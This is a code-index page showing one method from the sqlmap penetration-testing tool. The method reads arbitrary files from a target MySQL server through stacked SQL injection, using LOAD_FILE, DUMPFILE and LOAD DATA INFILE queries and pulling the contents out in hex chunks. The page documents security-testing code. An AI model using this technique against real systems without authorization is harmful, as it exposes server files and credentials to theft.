MCPcopy Index your code
hub / github.com/sqlmapproject/sqlmap / stackedReadFile

Method stackedReadFile

plugins/dbms/mysql/filesystem.py:42–88  ·  view source on GitHub ↗
(self, remoteFile)

Source from the content-addressed store, hash-verified

40 return result
41
42 def stackedReadFile(self, remoteFile):
43 if not kb.bruteMode:
44 infoMsg = "fetching file: '%s'" % remoteFile
45 logger.info(infoMsg)
46
47 self.createSupportTbl(self.fileTblName, self.tblField, "longtext")
48 self.getRemoteTempPath()
49
50 tmpFile = "%s/tmpf%s" % (conf.tmpPath, randomStr(lowercase=True))
51
52 debugMsg = "saving hexadecimal encoded content of file '%s' " % remoteFile
53 debugMsg += "into temporary file '%s'" % tmpFile
54 logger.debug(debugMsg)
55 inject.goStacked("SELECT HEX(LOAD_FILE('%s')) INTO DUMPFILE '%s'" % (remoteFile, tmpFile))
56
57 debugMsg = "loading the content of hexadecimal encoded file "
58 debugMsg += "'%s' into support table" % remoteFile
59 logger.debug(debugMsg)
60 inject.goStacked("LOAD DATA INFILE '%s' INTO TABLE %s FIELDS TERMINATED BY '%s' (%s)" % (tmpFile, self.fileTblName, randomStr(10), self.tblField))
61
62 length = inject.getValue("SELECT LENGTH(%s) FROM %s" % (self.tblField, self.fileTblName), resumeValue=False, expected=EXPECTED.INT, charsetType=CHARSET_TYPE.DIGITS)
63
64 if not isNumPosStrValue(length):
65 warnMsg = "unable to retrieve the content of the "
66 warnMsg += "file '%s'" % remoteFile
67
68 if conf.direct or isTechniqueAvailable(PAYLOAD.TECHNIQUE.UNION):
69 if not kb.bruteMode:
70 warnMsg += ", going to fall-back to simpler UNION technique"
71 logger.warning(warnMsg)
72 result = self.nonStackedReadFile(remoteFile)
73 else:
74 raise SqlmapNoneDataException(warnMsg)
75 else:
76 length = int(length)
77 chunkSize = 1024
78
79 if length > chunkSize:
80 result = []
81
82 for i in xrange(1, length, chunkSize):
83 chunk = inject.getValue("SELECT MID(%s, %d, %d) FROM %s" % (self.tblField, i, chunkSize, self.fileTblName), unpack=False, resumeValue=False, charsetType=CHARSET_TYPE.HEXADECIMAL)
84 result.append(chunk)
85 else:
86 result = inject.getValue("SELECT %s FROM %s" % (self.tblField, self.fileTblName), resumeValue=False, charsetType=CHARSET_TYPE.HEXADECIMAL)
87
88 return result
89
90 @stackedmethod
91 def unionWriteFile(self, localFile, remoteFile, fileType, forceCheck=False):

Callers

nothing calls this directly

Calls 11

nonStackedReadFileMethod · 0.95
randomStrFunction · 0.90
isNumPosStrValueFunction · 0.90
isTechniqueAvailableFunction · 0.90
xrangeClass · 0.85
infoMethod · 0.80
createSupportTblMethod · 0.80
getRemoteTempPathMethod · 0.80
debugMethod · 0.80
appendMethod · 0.45

Tested by

no test coverage detected